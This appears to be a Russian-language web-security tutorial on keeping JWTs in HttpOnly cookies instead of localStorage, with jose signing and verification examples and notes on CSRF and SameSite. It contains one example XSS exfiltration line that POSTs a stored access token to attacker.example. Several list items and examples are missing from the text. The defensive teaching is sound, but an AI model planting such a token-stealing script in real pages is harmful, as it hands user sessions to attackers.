В веб-приложениях основная проблема безопасности часто связана не с
криптографией как таковой, а с тем, где и как хранятся токены доступа.
При использовании JWT вместе с библиотекой вроде jose
разработчик получает мощный инструмент для подписания и проверки
токенов, но уязвимость может возникать на уровне клиентского
хранения.
Наиболее опасный сценарий — хранение JWT в localStorage
или sessionStorage. Эти механизмы доступны JavaScript-коду
страницы, а значит становятся прямой целью для атак класса XSS
(Cross-Site Scripting).
XSS позволяет злоумышленнику внедрить скрипт в контекст страницы и получить доступ ко всему, что доступно DOM и Web Storage API, включая токены авторизации.
XSS-атака возникает, когда приложение некорректно обрабатывает пользовательский ввод и вставляет его в HTML/JS без экранирования.
Типичный сценарий:
После выполнения внедрённого кода атакующий получает доступ к:
localStoragesessionStorageЕсли JWT хранится в localStorage, его можно украсть
одной строкой:
fetch('https://attacker.example/steal', {
method: 'POST',
body: localStorage.getItem('access_token')
})
Это делает любые механизмы подписи и проверки токенов бессмысленными, если канал хранения скомпрометирован.
HttpOnly-cookie — это механизм, при котором браузер хранит cookie, но запрещает доступ к нему через JavaScript.
Установка:
Set-Cookie: access_token=eyJhbGciOi...; HttpOnly; Secure; SameSite=Strict
Ключевая характеристика:
HttpOnly меняет модель угрозы.
Если раньше токен находился в зоне доступа JavaScript, то теперь:
Это критически важно для JWT-схем, где токен самодостаточен и содержит claims.
Библиотека jose используется на сервере для:
SignJWT)jwtVerify)При использовании HttpOnly-cookie схема меняется:
josejoseПример серверной установки:
import { SignJWT } from 'jose'
const token = await new SignJWT({ userId: 123 })
.setProtectedHeader({ alg: 'HS256' })
.setExpirationTime('1h')
.sign(secret)
res.setHeader('Set-Cookie', `access_token=${token}; HttpOnly; Secure; SameSite=Strict`)
Проверка:
import { jwtVerify } from 'jose'
const token = cookies.access_token
const { payload } = await jwtVerify(token, secret)
Несмотря на сильную защиту от кражи, HttpOnly не решает все проблемы.
Хотя токен нельзя украсть, злоумышленник всё ещё может:
HttpOnly защищает «секрет», но не защищает «сессию».
Поскольку cookies отправляются автоматически, возникает риск CSRF-атак.
Пример:
Современная защита строится не только на HttpOnly, но и на
SameSite.
Значения:
Strict — cookie не отправляется в кросс-сайтовых
запросахLax — ограниченная отправкаNone — отправляется всегда (требует Secure)На практике:
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict
Это минимизирует CSRF-поверхность.
Использование localStorage часто объясняется удобством,
но с точки зрения безопасности:
Даже CSP (Content Security Policy) снижает риск лишь частично.
HttpOnly-cookie в этом контексте — архитектурное решение, а не настройка.
При использовании jose возможно не только подписывать
JWT, но и шифровать их (JWE).
Это добавляет слой защиты:
Пример концептуально:
HttpOnly защищает канал доступа, JWE защищает содержимое.
Сочетание технологий:
jose для криптографии JWTСхема взаимодействия:
Некоторые системы делают:
Это возвращает уязвимость XSS.
Без HTTPS:
Долгоживущие JWT:
При использовании HttpOnly-cookie:
В связке с jose это формирует архитектуру, где
криптографическая целостность JWT дополняется изоляцией браузерного
хранения, а не полагается на него.